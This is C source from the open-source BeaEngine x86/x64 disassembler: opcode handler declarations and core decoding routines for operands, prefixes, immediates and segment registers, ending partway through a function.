void __stdcall setnbe_(PDISASM);
void __stdcall sets_(PDISASM);
void __stdcall setns_(PDISASM);
void __stdcall setp_(PDISASM);
void __stdcall setnp_(PDISASM);
void __stdcall setnge_(PDISASM);
void __stdcall setge_(PDISASM);
void __stdcall setle_(PDISASM);
void __stdcall setnle_(PDISASM);
void __stdcall shld_EvGvIb(PDISASM);
void __stdcall shld_EvGvCL(PDISASM);
void __stdcall shrd_EvGvIb(PDISASM);
void __stdcall shrd_EvGvCL(PDISASM);
void __stdcall std_(PDISASM);
void __stdcall sub_ALIb(PDISASM);
void __stdcall sub_eAX_Iv(PDISASM);
void __stdcall sub_EbGb(PDISASM);
void __stdcall sub_EvGv(PDISASM);
void __stdcall sub_GbEb(PDISASM);
void __stdcall sub_GvEv(PDISASM);
void __stdcall test_ALIb(PDISASM);
void __stdcall test_eAX_Iv(PDISASM);
void __stdcall test_EbGb(PDISASM);
void __stdcall test_EvGv(PDISASM);
void __stdcall test_GbEb(PDISASM);
void __stdcall test_GvEv(PDISASM);
void __stdcall ud2_(PDISASM);
void __stdcall vmread_(PDISASM);
void __stdcall vmwrite_(PDISASM);
void __stdcall wbinvd_(PDISASM);
void __stdcall wait_(PDISASM);
void __stdcall wrmsr_(PDISASM);
void __stdcall xadd_EbGb(PDISASM);
void __stdcall xadd_EvGv(PDISASM);
void __stdcall xchg_EbGb(PDISASM);
void __stdcall xchg_ebp(PDISASM);
void __stdcall xchg_ebx(PDISASM);
void __stdcall xchg_ecx(PDISASM);
void __stdcall xchg_edi(PDISASM);
void __stdcall xchg_edx(PDISASM);
void __stdcall xchg_esi(PDISASM);
void __stdcall xchg_esp(PDISASM);
void __stdcall xchg_EvGv(PDISASM);
void __stdcall xlat_(PDISASM);
void __stdcall xor_ALIb(PDISASM);
void __stdcall xor_eAX_Iv(PDISASM);
void __stdcall xor_EbGb(PDISASM);
void __stdcall xor_EvGv(PDISASM);
void __stdcall xor_GbEb(PDISASM);
void __stdcall xor_GvEv(PDISASM);

// ====================================== opcodes_Grp1
void __stdcall G1_EbIb(PDISASM);
void __stdcall G1_EbIb2(PDISASM);
void __stdcall G1_EvIv(PDISASM);
void __stdcall G1_EvIb(PDISASM);

// ====================================== opcodes_Grp2
void __stdcall G2_EbIb(PDISASM);
void __stdcall G2_EvIb(PDISASM);
void __stdcall G2_Ev1(PDISASM);
void __stdcall G2_Eb1(PDISASM);
void __stdcall G2_EbCL(PDISASM);
void __stdcall G2_EvCL(PDISASM);

// ====================================== opcodes_Grp3
void __stdcall G3_Eb(PDISASM);
void __stdcall G3_Ev(PDISASM);

// ====================================== opcodes_Grp4
void __stdcall G4_Eb(PDISASM);

// ====================================== opcodes_Grp5
void __stdcall G5_Ev(PDISASM);

// ====================================== opcodes_Grp6
void __stdcall G6_(PDISASM);

// ====================================== opcodes_Grp7
void __stdcall G7_(PDISASM);

// ====================================== opcodes_Grp8
void __stdcall G8_EvIb(PDISASM);

// ====================================== opcodes_Grp9
void __stdcall G9_(PDISASM);

// ====================================== opcodes_Grp12
void __stdcall G12_(PDISASM);

// ====================================== opcodes_Grp13
void __stdcall G13_(PDISASM);

// ====================================== opcodes_Grp14
void __stdcall G14_(PDISASM);

// ====================================== opcodes_Grp15
void __stdcall G15_(PDISASM);

// ====================================== opcodes_Grp16
void __stdcall G16_(PDISASM);

// ====================================== opcodes_FPU
void __stdcall D8_(PDISASM);
void __stdcall D9_(PDISASM);
void __stdcall DA_(PDISASM);
void __stdcall DB_(PDISASM);
void __stdcall DC_(PDISASM);
void __stdcall DD_(PDISASM);
void __stdcall DE_(PDISASM);
void __stdcall DF_(PDISASM);

// ====================================== opcodes_MMX
void __stdcall emms_(PDISASM);
void __stdcall movd_EP(PDISASM);
void __stdcall movd_PE(PDISASM);
void __stdcall movq_PQ(PDISASM);
void __stdcall movq_QP(PDISASM);
void __stdcall movq_WV(PDISASM);
void __stdcall pabsb_(PDISASM);
void __stdcall pabsd_(PDISASM);
void __stdcall pabsw_(PDISASM);
void __stdcall packssdw_(PDISASM);
void __stdcall packsswb_(PDISASM);
void __stdcall packuswb_(PDISASM);
void __stdcall paddb_(PDISASM);
void __stdcall paddd_(PDISASM);
void __stdcall paddsb_(PDISASM);
void __stdcall paddsw_(PDISASM);
void __stdcall paddusb_(PDISASM);
void __stdcall paddusw_(PDISASM);
void __stdcall paddw_(PDISASM);
void __stdcall pandn_(PDISASM);
void __stdcall pand_(PDISASM);
void __stdcall pcmpeqb_(PDISASM);
void __stdcall pcmpeqd_(PDISASM);
void __stdcall pcmpeqw_(PDISASM);
void __stdcall pcmpgtb_(PDISASM);
void __stdcall pcmpgtd_(PDISASM);
void __stdcall pcmpgtw_(PDISASM);
void __stdcall pmulhw_(PDISASM);
void __stdcall pmullw_(PDISASM);
void __stdcall pmaddwd_(PDISASM);
void __stdcall por_(PDISASM);
void __stdcall pslld_(PDISASM);
void __stdcall psllq_(PDISASM);
void __stdcall psllw_(PDISASM);
void __stdcall psrld_(PDISASM);
void __stdcall psrlq_(PDISASM);
void __stdcall psrlw_(PDISASM);
void __stdcall psrad_(PDISASM);
void __stdcall psraw_(PDISASM);
void __stdcall psubb_(PDISASM);
void __stdcall psubd_(PDISASM);
void __stdcall psubsb_(PDISASM);
void __stdcall psubsw_(PDISASM);
void __stdcall psubusb_(PDISASM);
void __stdcall psubusw_(PDISASM);
void __stdcall psubw_(PDISASM);
void __stdcall punpckhbw_(PDISASM);
void __stdcall punpckhdq_(PDISASM);
void __stdcall punpckhwd_(PDISASM);
void __stdcall punpcklbw_(PDISASM);
void __stdcall punpckldq_(PDISASM);
void __stdcall punpcklwd_(PDISASM);
void __stdcall pxor_(PDISASM);

// ====================================== opcodes_SSE
void __stdcall addps_VW(PDISASM);
void __stdcall addsubpd_(PDISASM);
void __stdcall andnps_VW(PDISASM);
void __stdcall andps_VW(PDISASM);
void __stdcall blendpd_(PDISASM);
void __stdcall blendps_(PDISASM);
void __stdcall blendvpd_(PDISASM);
void __stdcall blendvps_(PDISASM);
void __stdcall cmpps_VW(PDISASM);
void __stdcall crc32_GvEb(PDISASM);
void __stdcall crc32_GvEv(PDISASM);
void __stdcall comiss_VW(PDISASM);
void __stdcall cvtdq2ps_(PDISASM);
void __stdcall cvtpd2dq_(PDISASM);
void __stdcall cvtpi2ps_(PDISASM);
void __stdcall cvtps2pd_(PDISASM);
void __stdcall cvtps2pi_(PDISASM);
void __stdcall cvttps2pi_(PDISASM);
void __stdcall dppd_(PDISASM);
void __stdcall dpps_(PDISASM);
void __stdcall divps_VW(PDISASM);
void __stdcall extractps_(PDISASM);
void __stdcall haddpd_VW(PDISASM);
void __stdcall hsubpd_VW(PDISASM);
void __stdcall insertps_(PDISASM);
void __stdcall lddqu_(PDISASM);
void __stdcall maskmovq_(PDISASM);
void __stdcall maxps_VW(PDISASM);
void __stdcall minps_VW(PDISASM);
void __stdcall movaps_VW(PDISASM);
void __stdcall movaps_WV(PDISASM);
void __stdcall movhps_MV(PDISASM);
void __stdcall movhps_VM(PDISASM);
void __stdcall movlps_MV(PDISASM);
void __stdcall movlps_VM(PDISASM);
void __stdcall movmskps_(PDISASM);
void __stdcall movntdqa_(PDISASM);
void __stdcall movnti_(PDISASM);
void __stdcall movntps_(PDISASM);
void __stdcall movntq_(PDISASM);
void __stdcall movups_VW(PDISASM);
void __stdcall movups_WV(PDISASM);
void __stdcall mpsadbw_(PDISASM);
void __stdcall mulps_VW(PDISASM);
void __stdcall orps_VW(PDISASM);
void __stdcall packusdw_(PDISASM);
void __stdcall paddq_(PDISASM);
void __stdcall pavgb_(PDISASM);
void __stdcall pavgw_(PDISASM);
void __stdcall palignr_(PDISASM);
void __stdcall pblendvb_(PDISASM);
void __stdcall pblendw_(PDISASM);
void __stdcall pcmpeqq_(PDISASM);
void __stdcall pcmpestri_(PDISASM);
void __stdcall pcmpestrm_(PDISASM);
void __stdcall pcmpgtq_(PDISASM);
void __stdcall pcmpistri_(PDISASM);
void __stdcall pcmpistrm_(PDISASM);
void __stdcall pextrb_(PDISASM);
void __stdcall pextrd_(PDISASM);
void __stdcall pextrw2_(PDISASM);
void __stdcall pextrw_(PDISASM);
void __stdcall phaddd_(PDISASM);
void __stdcall phaddsw_(PDISASM);
void __stdcall phaddw_(PDISASM);
void __stdcall phminposuw_(PDISASM);
void __stdcall phsubd_(PDISASM);
void __stdcall phsubsw_(PDISASM);
void __stdcall phsubw_(PDISASM);
void __stdcall pinsrb_(PDISASM);
void __stdcall pinsrd_(PDISASM);
void __stdcall pinsrw_(PDISASM);
void __stdcall pmaxsb_(PDISASM);
void __stdcall pmaxsd_(PDISASM);
void __stdcall pmaxsw_(PDISASM);
void __stdcall pmaxub_(PDISASM);
void __stdcall pmaxud_(PDISASM);
void __stdcall pmaxuw_(PDISASM);
void __stdcall pminsb_(PDISASM);
void __stdcall pminsd_(PDISASM);
void __stdcall pminsw_(PDISASM);
void __stdcall pminub_(PDISASM);
void __stdcall pminud_(PDISASM);
void __stdcall pminuw_(PDISASM);
void __stdcall pmaddubsw_(PDISASM);
void __stdcall pmovmskb_(PDISASM);
void __stdcall pmovsxbd_(PDISASM);
void __stdcall pmovsxbq_(PDISASM);
void __stdcall pmovsxbw_(PDISASM);
void __stdcall pmovsxdq_(PDISASM);
void __stdcall pmovsxwd_(PDISASM);
void __stdcall pmovsxwq_(PDISASM);
void __stdcall pmovzxbd_(PDISASM);
void __stdcall pmovzxbq_(PDISASM);
void __stdcall pmovzxbw_(PDISASM);
void __stdcall pmovzxdq_(PDISASM);
void __stdcall pmovzxwd_(PDISASM);
void __stdcall pmovzxwq_(PDISASM);
void __stdcall pmuldq_(PDISASM);
void __stdcall pmulhrsw_(PDISASM);
void __stdcall pmulhuw_(PDISASM);
void __stdcall pmulhw_(PDISASM);
void __stdcall pmulld_(PDISASM);
void __stdcall pmullw_(PDISASM);
void __stdcall pmuludq_(PDISASM);
void __stdcall popcnt_(PDISASM);
void __stdcall psadbw_(PDISASM);
void __stdcall pshufb_(PDISASM);
void __stdcall pshufw_(PDISASM);
void __stdcall psignb_(PDISASM);
void __stdcall psignd_(PDISASM);
void __stdcall psignw_(PDISASM);
void __stdcall psubq_(PDISASM);
void __stdcall ptest_(PDISASM);
void __stdcall punpcklqdq_(PDISASM);
void __stdcall punpckhqdq_(PDISASM);
void __stdcall rcpps_(PDISASM);
void __stdcall roundpd_(PDISASM);
void __stdcall roundps_(PDISASM);
void __stdcall roundsd_(PDISASM);
void __stdcall roundss_(PDISASM);
void __stdcall rsqrtps_(PDISASM);
void __stdcall shufps_(PDISASM);
void __stdcall sqrtps_VW(PDISASM);
void __stdcall subps_VW(PDISASM);
void __stdcall ucomiss_VW(PDISASM);
void __stdcall unpckhps_(PDISASM);
void __stdcall unpcklps_(PDISASM);
void __stdcall xorps_VW(PDISASM);
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LILXAM_SEHOP/BeaEngine/Includes/Routines_Disasm.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//
// ====================================================================
int __stdcall Disasm (PDISASM pMyDisasm) {

    InitVariables(pMyDisasm);
    (void) AnalyzeOpcode(pMyDisasm);
    FixArgSizeForMemoryOperand(pMyDisasm);
    FixREXPrefixes(pMyDisasm);
    FillSegmentsRegisters(pMyDisasm);
    if (SYNTAX_ == ATSyntax) {
        BuildCompleteInstructionATSyntax(pMyDisasm);
    }
    else {
        BuildCompleteInstruction(pMyDisasm);
    }
    if (ERROR_OPCODE) {
        return -1;
    }
    else {
        return EIP_ - (*pMyDisasm).EIP;
    }
}

// ====================================================================
//
// ====================================================================
void __stdcall InitVariables (PDISASM pMyDisasm) {
    ERROR_OPCODE = 0;
    EIP_ = (*pMyDisasm).EIP;
    EIP_REAL = EIP_;
    EIP_VA = (*pMyDisasm).VirtualAddr;
    EndOfBlock = 0;
    if ((*pMyDisasm).SecurityBlock != 0) EndOfBlock = EIP_ + (*pMyDisasm).SecurityBlock;
    OperandSize = 32;
    OpSize = 0;
    AddressSize = 32;
    SEGMENTFS = 0;
    third_arg = 0;
    Architecture = (*pMyDisasm).Archi;
    (*pMyDisasm).Prefix.Number = 0;
    NB_PREFIX = 0;
    if (Architecture == 64) AddressSize = 64;
	(void) memset (&(*pMyDisasm).Argument1, 0, sizeof (ARGTYPE));
	(void) memset (&(*pMyDisasm).Argument2, 0, sizeof (ARGTYPE));
	(void) memset (&(*pMyDisasm).Argument3, 0, sizeof (ARGTYPE));
    (void) memset (&(*pMyDisasm).Prefix, 0, sizeof (PREFIXINFO));
    REX.W_ = 0;
    REX.B_ = 0;
    REX.X_ = 0;
    REX.R_ = 0;
    REX.state = 0;
    (*pMyDisasm).Argument1.AccessMode = WRITE;
    (*pMyDisasm).Argument2.AccessMode = READ;
    (*pMyDisasm).Argument3.AccessMode = READ;
    (void) memset (&(*pMyDisasm).Instruction, 0, sizeof (INSTRTYPE));
    TAB_ = (*pMyDisasm).Options & 0xff;
    SYNTAX_ = (*pMyDisasm).Options & 0xff00;
    FORMATNUMBER = (*pMyDisasm).Options & 0xff0000;
    SEGMENTREGS = (*pMyDisasm).Options & 0xff000000;

}
// ====================================================================
//
// ====================================================================
void __stdcall FixArgSizeForMemoryOperand (PDISASM pMyDisasm) {

    if (OpSize == 101) {
        (*pMyDisasm).Argument2.ArgSize = 8;
    }
    else if (OpSize == 102) {
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
    else if (OpSize == 103) {
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else if (OpSize == 104) {
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OpSize == 105) {
        (*pMyDisasm).Argument2.ArgSize = 0;
    }
    else if (OpSize == 106) {
        (*pMyDisasm).Argument2.ArgSize = 80;
    }
    else if (OpSize == 107) {
        (*pMyDisasm).Argument2.ArgSize = 48;
    }
    else if (OpSize == 108) {
        (*pMyDisasm).Argument2.ArgSize = 128;
    }


    if (OpSize == 1) {
        (*pMyDisasm).Argument1.ArgSize = 8;
    }
    else if (OpSize == 2) {
        (*pMyDisasm).Argument1.ArgSize = 16;
    }
    else if (OpSize == 3) {
        (*pMyDisasm).Argument1.ArgSize = 32;
    }
    else if (OpSize == 4) {
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else if (OpSize == 5) {
        (*pMyDisasm).Argument1.ArgSize = 0;
    }
    else if (OpSize == 6) {
        (*pMyDisasm).Argument1.ArgSize = 80;
    }
    else if (OpSize == 7) {
        (*pMyDisasm).Argument1.ArgSize = 48;
    }
    else if (OpSize == 8) {
        (*pMyDisasm).Argument1.ArgSize = 128;
    }

}

// ====================================================================
//
// ====================================================================
void __stdcall FixREXPrefixes (PDISASM pMyDisasm) {

    (*pMyDisasm).Prefix.REX.W_ = REX.W_;
    (*pMyDisasm).Prefix.REX.R_ = REX.R_;
    (*pMyDisasm).Prefix.REX.X_ = REX.X_;
    (*pMyDisasm).Prefix.REX.B_ = REX.B_;
    (*pMyDisasm).Prefix.REX.state = REX.state;

}

// ====================================================================
//
// ====================================================================
int __stdcall AnalyzeOpcode (PDISASM pMyDisasm) {

    (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
    (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
    return 1;
}
// ====================================================================
//
// ====================================================================
void __stdcall EbGb(PDISASM pMyDisasm)
{
    OpSize = 1;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument1);
    Reg_Opcode(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall GbEb(PDISASM pMyDisasm)
{
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    Reg_Opcode(&(*pMyDisasm).Argument1);
    OperandSize = 32;
    EIP_ += DECALAGE_EIP + 2;
}
// ====================================================================
//
// ====================================================================
void __stdcall EvGv(PDISASM pMyDisasm)
{
    if (OperandSize == 64) {
        OpSize = 4;
    }
    else if (OperandSize == 32) {
        OpSize = 3;
    }
    else {
        OpSize = 2;
    }
    MOD_RM(&(*pMyDisasm).Argument1);
    Reg_Opcode(&(*pMyDisasm).Argument2);
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall ExGx(PDISASM pMyDisasm)
{
    MOD_RM(&(*pMyDisasm).Argument1);
    Reg_Opcode(&(*pMyDisasm).Argument2);
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall EvIv(PDISASM pMyDisasm)
{
    if (OperandSize >= 32) {
        OpSize = 3;
        MOD_RM(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 6;
        if (!Security(0)) return;
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",*((DWORD*) (EIP_ - 4)));
        ImmediatSize = 32;
        (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Instruction.Immediat = *((DWORD*) (EIP_ - 4));
    }
    else {
        OpSize = 2;
        MOD_RM(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 4;
        if (!Security(0)) return;
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.4X",*((WORD*) (EIP_ - 2)));
        ImmediatSize = 16;
        (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Instruction.Immediat = *((WORD*) (EIP_ - 2));
    }
}

// ====================================================================
//
// ====================================================================
void __stdcall EvIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    if (OperandSize >= 32) {
        OpSize = 3;
        MOD_RM(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",*((BYTE*) (EIP_ - 1)));
        ImmediatSize = 8;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_ - 1));
    }
    else {
        OpSize = 2;
        MOD_RM(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",*((BYTE*) (EIP_ - 1)));
        ImmediatSize = 8;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_ - 1));
    }
}
// ====================================================================
//
// ====================================================================
void __stdcall EbIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    OpSize = 1;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument1);
    OperandSize = 32;
    EIP_ += DECALAGE_EIP + 3;
    if (!Security(0)) return;
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",*((BYTE*) (EIP_ - 1)));
    ImmediatSize = 8;
    (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_ - 1));
}

// ====================================================================
//
// ====================================================================
void __stdcall Eb(PDISASM pMyDisasm)
{
    OpSize = 1;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument1);
    OperandSize = 32;
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall Ev(PDISASM pMyDisasm)
{
    if (OperandSize == 64) {
        OpSize = 4;
    }
    else if (OperandSize == 32) {
        OpSize = 3;
    }
    else {
        OpSize = 2;
    }
    MOD_RM(&(*pMyDisasm).Argument1);
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall GvEv(PDISASM pMyDisasm)
{
    if (OperandSize == 64) {
        OpSize = 104;
    }
    else if (OperandSize == 32) {
        OpSize = 103;
    }
    else {
        OpSize = 102;
    }
    MOD_RM(&(*pMyDisasm).Argument2);
    Reg_Opcode(&(*pMyDisasm).Argument1);
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall GvEb(PDISASM pMyDisasm)
{
    if (OperandSize == 64) {
        OpSize = 101;
        OperandSize = 8;
        MOD_RM(&(*pMyDisasm).Argument2);
        OperandSize = 64;
    }
    else if (OperandSize == 32) {
        OpSize = 101;
        OperandSize = 8;
        MOD_RM(&(*pMyDisasm).Argument2);
        OperandSize = 32;
    }
    else {
        OpSize = 101;
        MOD_RM(&(*pMyDisasm).Argument2);
    }
    Reg_Opcode(&(*pMyDisasm).Argument1);
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall GxEx(PDISASM pMyDisasm)
{
    MOD_RM(&(*pMyDisasm).Argument2);
    Reg_Opcode(&(*pMyDisasm).Argument1);
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall GvEw(PDISASM pMyDisasm)
{
    OpSize = 102;
    MOD_RM(&(*pMyDisasm).Argument2);
    Reg_Opcode(&(*pMyDisasm).Argument1);
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall ALIb(PDISASM pMyDisasm)
{
    long MyNumber;
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall eAX_Iv(PDISASM pMyDisasm)
{
    long MyNumber;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(5)) return;
        ImmediatSize = 32;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 32;
        MyNumber = *((DWORD*) (EIP_ + 1));
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X", MyNumber);
        (*pMyDisasm).Instruction.Immediat = MyNumber;
         if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        }
        EIP_+= 5;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        ImmediatSize = 32;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
        MyNumber = *((DWORD*) (EIP_ + 1));
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X", MyNumber);
        (*pMyDisasm).Instruction.Immediat = MyNumber;
         if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        }
        EIP_+= 5;
    }
    else {
        if (!Security(3)) return;
        ImmediatSize = 16;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
        MyNumber = *((WORD*) (EIP_ + 1));
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X", MyNumber);
        (*pMyDisasm).Instruction.Immediat = MyNumber;
         if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        }
        EIP_+= 3;
    }

}

// ====================================================================
//
// ====================================================================
int __stdcall Security(int len)
{
    if ((EndOfBlock != 0) && (EIP_ + len > EndOfBlock)) {
        return 0;
    }
    return 1;
}

// ====================================================================
//
// ====================================================================
void __stdcall FillFlags(PDISASM pMyDisasm, int index)
{
    (*pMyDisasm).Instruction.Flags = EFLAGS_TABLE[index];
}
// ====================================================================
//
// ====================================================================
void __stdcall CalculateRelativeAddress(long long * pMyAddress, signed long MyNumber)
{
    RelativeAddress = 1;
    if (EIP_VA != 0) {
        *pMyAddress = EIP_VA + (long long) MyNumber;
    }
    else {
        *pMyAddress = EIP_REAL + (long long) MyNumber;
    }
}

// ====================================================================
//
// ====================================================================
int __stdcall CopyFormattedNumber(char* pBuffer,char* pFormat, long long MyNumber)
{
    int i = 0;
    if (FORMATNUMBER == PrefixedNumeral) {
        (void) strcpy(pBuffer, "0x");
        (void) sprintf (pBuffer+2, pFormat, MyNumber);
        i += strlen(pBuffer);
    }
    else {
        (void) sprintf (pBuffer+i, pFormat, MyNumber);
        i += strlen(pBuffer);
        (void) strcpy(pBuffer+i, "h");
        i++;
    }
    return i;
}

// ====================================================================
//
// ====================================================================
void __stdcall FillSegmentsRegisters(PDISASM pMyDisasm)
{
    if (((*pMyDisasm).Prefix.LockPrefix == InUsePrefix) && ((*pMyDisasm).Argument1.ArgType != MEMORY_TYPE)) {
        (*pMyDisasm).Prefix.LockPrefix = InvalidPrefix;
    }
    if ((*pMyDisasm).Instruction.Category == GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION) {
        (*pMyDisasm).Argument1.SegmentReg = ESReg;
        (*pMyDisasm).Argument2.SegmentReg = DSReg;
        // =============== override affects Arg2
        if ((*pMyDisasm).Argument2.ArgType == MEMORY_TYPE) {
            if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) {
                (*pMyDisasm).Argument2.SegmentReg = FSReg;
            }
            else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) {
                (*pMyDisasm).Argument2.SegmentReg = GSReg;
            }
            else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
                (*pMyDisasm).Argument2.SegmentReg = CSReg;
            }
            else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) {
                (*pMyDisasm).Argument2.SegmentReg = ESReg;
            }
            else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) {
                (*pMyDisasm).Argument2.SegmentReg = SSReg;
            }
            else {
                (*pMyDisasm).Argument2.SegmentReg = DSReg;
            }
        }
    }
    else {
        if ((*pMyDisasm).Argument1.ArgType == MEMORY_TYPE) {
            if (((*pMyDisasm).Argument1.Memory.BaseRegister == REG4) || ((*pMyDisasm).Argument1.Memory.BaseRegister == REG5)) {
                (*pMyDisasm).Argument1.SegmentReg = SSReg;
                // ========== override is invalid here
                if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = FSReg;
                    (*pMyDisasm).Prefix.FSPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = GSReg;
                    (*pMyDisasm).Prefix.GSPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = CSReg;
                    (*pMyDisasm).Prefix.CSPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = DSReg;
                    (*pMyDisasm).Prefix.DSPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = ESReg;
                    (*pMyDisasm).Prefix.ESPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = SSReg;
                    (*pMyDisasm).Prefix.SSPrefix = InvalidPrefix;
                }
            }
            else {
                (*pMyDisasm).Argument1.SegmentReg = DSReg;
                // ============= test if there is override
                if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = FSReg;
                }
                else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = GSReg;
                }
                else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = CSReg;
                }
                else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument1.SegmentReg = ESReg;
                }
                else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) {
